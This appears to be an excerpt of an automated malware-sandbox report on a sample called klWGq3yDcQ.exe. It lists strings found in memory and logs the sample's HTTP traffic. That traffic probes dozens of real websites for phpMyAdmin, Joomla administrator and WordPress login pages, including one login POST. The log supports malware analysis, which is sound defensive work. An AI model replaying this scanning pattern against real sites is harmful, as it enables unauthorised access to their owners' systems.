Source: klWGq3yDcQ.exe, 00000001.00000002.2886296265.00000000040E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.rech.com/categoria/maquinas-equipamentos/fps
Source: klWGq3yDcQ.exe, 00000001.00000002.2886296265.00000000040E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.rech.com/categoria/maquinas-equipamentos/motor
Source: klWGq3yDcQ.exe, 00000001.00000002.2886296265.00000000040E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.rech.com/categoria/maquinas-equipamentos/oleos
Source: klWGq3yDcQ.exe, 00000001.00000002.2886296265.00000000040E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.rech.com/categoria/maquinas-equipamentos/pneus
Source: klWGq3yDcQ.exe, 00000001.00000002.2884974422.0000000003F9C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.rech.com/politica/privacidade
Source: klWGq3yDcQ.exe, 00000001.00000002.2887494759.00000000043C8000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2886351105.0000000004122000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2886351105.00000000040EF000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2885992508.00000000040B4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.spamhaus.org/query/ip/89.149.18.60
Source: klWGq3yDcQ.exe, 00000001.00000002.2866921685.0000000000400000.00000040.00000400.00020000.00000000.sdmp, csrss.exe, 00000004.00000002.3484645530.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.torproject.org/
Source: csrss.exe, 00000004.00000002.3484645530.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.torproject.org/documentation.html
Source: klWGq3yDcQ.exe, 00000001.00000002.2885497565.0000000003FF0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.weebly.com
Source: klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004139000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/channel/UCR8Y1oz_wfVPTUpgFwsX9Dg
Source: klWGq3yDcQ.exe, 00000001.00000002.2887067492.0000000004300000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/user/SAMSONGROUP
Source: klWGq3yDcQ.exe, 00000001.00000002.2883538020.0000000003C87000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://yahoo.comfreezed/phpmyadmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2883538020.0000000003C87000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://yahoo.comfreezed/phpmyadmin//.us
Source: klWGq3yDcQ.exe, 00000001.00000002.2885992508.0000000004075000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2887067492.0000000004300000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://yoast.com/wordpress/plugins/seo/

Source: unknown

HTTP traffic detected: POST /wp-login.php HTTP/1.1Host: samson.peAccept: */*Accept-Encoding: deflate, gzipCookie: wordpress_test_cookie=WP+Cookie+checkUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://samson.pe/wp-login.phpContent-Length: 141Content-Type: application/x-www-form-urlencoded

Source: unknown

DNS traffic detected: queries for: gethsemane.org

Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: krkconcord.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: directlendersllc.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: t1eng.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: knu.ac.inAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: avient.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: jamiesonmullin.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: gasp-ga.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: mdystudent.netAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: gruporegiosafety.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: dstaq.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: hmichaelandco.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: killicit.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: micro-design.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: rechagricola.com.brAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: edgewater.groupAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: himontessori.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: esistem.com.brAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: lumaruniformes.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: eco-landeck.atAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: integraledu.hrAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: linkan-group.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: talentius.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: prettypollycleaning.aeAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: tradeavenida.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: americanrecords.itAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: my.calvary.qld.edu.auAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: bunasta.euAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: hightideinc.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: wonka.ccAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: ondania.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: octetpowers.inAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: daisyokogyo.co.jpAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: esoft.academyAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: student.debritto.sch.idAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: capforge.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: gatewaytoearlylearning.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: unaj.edu.peAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: beachrecruitment.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: ce-logic.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: 2brosandahosepressurewashing.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: engel-firm.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: grantstech.ioAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: maxiv.lu.seAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: gmailvz.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: harasduberry.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: coralparkchristian.orgAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: tcetmumbai.inAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: webstamp.caAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: quipuapp.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /login/?page=%2Fphpmyadmin%2F HTTP/1.1Host: my.calvary.qld.edu.auAccept: /Accept-Encoding: deflate, gzipCookie: PHPSESSID=unid3p469s9hj2a6pka8sch23rUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: ceuandalucia.esAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: daisyokogyo.co.jpAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin HTTP/1.1Host: esoft.academyAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: srmist.edu.inAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: gccb.co.inAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: vivanettv.co.keAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: samson.peAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: saudi-jamac.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: grg17geblergasse.atAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: coimbrausa.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: tiswheels.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: locandafrancigena.itAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: leeberg.dkAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: belongfbg.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: federwild.atAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: kappablu.deAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: financefast.com.brAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/ HTTP/1.1Host: avient.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/ HTTP/1.1Host: jamiesonmullin.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /cgi-sys/suspendedpage.cgi HTTP/1.1Host: vivanettv.co.keAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/ HTTP/1.1Host: edgewater.groupAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/ HTTP/1.1Host: esoft.academyAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/ HTTP/1.1Host: ce-logic.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/ HTTP/1.1Host: gruporegiosafety.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/ HTTP/1.1Host: unaj.edu.peAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/ HTTP/1.1Host: engel-firm.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/ HTTP/1.1Host: webstamp.caAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator HTTP/1.1Host: www.linkan-group.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/index.php HTTP/1.1Host: integraledu.hrAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/ HTTP/1.1Host: grantstech.ioAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /en/administrator HTTP/1.1Host: www.dstaq.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/ HTTP/1.1Host: tcetmumbai.inAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/ HTTP/1.1Host: capforge.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/ HTTP/1.1Host: eco-landeck.atAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /saml/index.php?page=%2Fphpmyadmin%2F HTTP/1.1Host: my.calvary.qld.edu.auAccept: /Accept-Encoding: deflate, gzipCookie: PHPSESSID=unid3p469s9hj2a6pka8sch23rUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /domain_profile.cfm?d=robinsonland.com HTTP/1.1Host: www.hugedomains.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: avient.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/ HTTP/1.1Host: tiswheels.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: www.rechagricola.com.brAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator HTTP/1.1Host: www.2brospw.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/ HTTP/1.1Host: mydirectlender.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/ HTTP/1.1Host: knu.ac.inAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin HTTP/1.1Host: www.2brospw.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/ HTTP/1.1Host: micro-design.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpMyAdmin/ HTTP/1.1Host: mydirectlender.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/ HTTP/1.1Host: www.harasduberry.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/index.php HTTP/1.1Host: edgewater.groupAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://edgewater.group/administrator/
Source: global traffic	HTTP traffic detected: GET /administrator/index.php HTTP/1.1Host: jamiesonmullin.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://jamiesonmullin.com/administrator/
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: www.harasduberry.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/ HTTP/1.1Host: talentius.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/ HTTP/1.1Host: bunasta.euAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp-login.php HTTP/1.1Host: hightideinc.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: getquipu.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin HTTP/1.1Host: www.gatewaytoearlylearning.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: getquipu.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /PhpMyAdmin/ HTTP/1.1Host: talentius.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/ HTTP/1.1Host: www.ceuandalucia.esAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
